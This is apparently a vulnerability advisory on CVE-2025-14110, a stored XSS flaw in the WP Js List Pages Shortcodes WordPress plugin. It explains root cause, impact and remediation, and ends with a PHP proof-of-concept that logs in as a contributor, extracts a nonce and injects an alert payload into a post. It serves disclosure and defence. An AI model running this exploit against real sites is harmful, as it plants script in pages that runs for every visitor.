Atomic Edge analysis of CVE-2025-14110 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP Js List Pages Shortcodes WordPress plugin. The vulnerability exists in the plugin’s shortcode handler, specifically within the ‘class’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute in the browsers of users who view the compromised content.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for the ‘class’ shortcode attribute. The plugin likely registers a shortcode (e.g., [js_list_pages]) and directly echoes user-supplied ‘class’ attribute values into the page HTML without proper escaping. This is a classic CWE-79 violation. These conclusions are inferred from the CWE classification and vulnerability description, as the source code is unavailable for confirmation.
Exploitation requires an authenticated user with at least the Contributor role. The attacker creates or edits a post, inserting the vulnerable shortcode with a malicious ‘class’ attribute payload. For example: [js_list_pages class=”” onmouseover=alert(document.domain) x=””] . When the post is saved and viewed, the script executes. The attack vector is the WordPress post editor, targeting the plugin’s shortcode parsing function.
Remediation requires implementing proper output escaping. The plugin should use WordPress core escaping functions like esc_attr() when outputting the ‘class’ attribute value within HTML tags. Input sanitization, such as sanitize_html_class(), could also be applied, but output escaping is the primary defense. A patch would involve modifying the shortcode callback function to escape all user-controlled attributes before rendering.
Successful exploitation allows attackers to perform actions within the context of a victim’s session. This can lead to session hijacking, administrative actions if an administrator views the page, defacement, or data theft. The stored nature of the attack amplifies impact, as the payload executes for every visitor to the compromised page. The CVSS score of 6.4 reflects the moderate confidentiality and integrity impacts with network-wide scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14110 - WP Js List Pages Shortcodes <= 1.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode Attribute
<?php
// Configuration
$target_url = 'http://target-site.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$exploit_post_id = 123; // ID of a post the contributor can edit
// Payload: XSS via the 'class' attribute of the plugin's shortcode.
// This payload uses a simple JavaScript alert for demonstration.
$shortcode_payload = '[js_list_pages class="" onmouseover=alert(document.domain) x=""]';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing environments
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
$response = curl_exec($ch);
// Check for login success by looking for dashboard redirect or absence of login form.
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('[-] Authentication failed. Check credentials.');
}
echo '[+] Authentication successful.n';
// Step 2: Navigate to the post edit page to obtain a valid nonce.
// The nonce parameter name is assumed based on WordPress conventions ('_wpnonce').
$edit_post_url = $target_url . '/wp-admin/post.php?post=' . $exploit_post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract the nonce for updating the post. This regex looks for the '_wpnonce' field in the post edit form.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
die('[-] Could not extract update nonce from edit page.');
}
$update_nonce = $nonce_matches[1];
echo '[+] Retrieved update nonce: ' . $update_nonce . 'n';
// Step 3: Update the post content with the malicious shortcode.
$update_url = $target_url . '/wp-admin/post.php';
$update_fields = [
'post_ID' => $exploit_post_id,
'content' => $shortcode_payload,
'_wpnonce' => $update_nonce,
'_wp_http_referer' => urlencode('/wp-admin/post.php?post=' . $exploit_post_id . '&action=edit'),
'action' => 'editpost',
'save' => 'Update'
];
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$response = curl_exec($ch);
// Check for update success.
if (strpos($response, 'Post updated.') !== false || strpos($response, 'Post published.') !== false) {
echo '[+] Successfully injected XSS payload into post ID ' . $exploit_post_id . '.n';
echo '[+] Visit the post to trigger the onmouseover event. Payload: ' . htmlspecialchars($shortcode_payload) . 'n';
} else {
echo '[-] Post update may have failed. Check permissions and post status.n';
}
curl_close($ch);
?>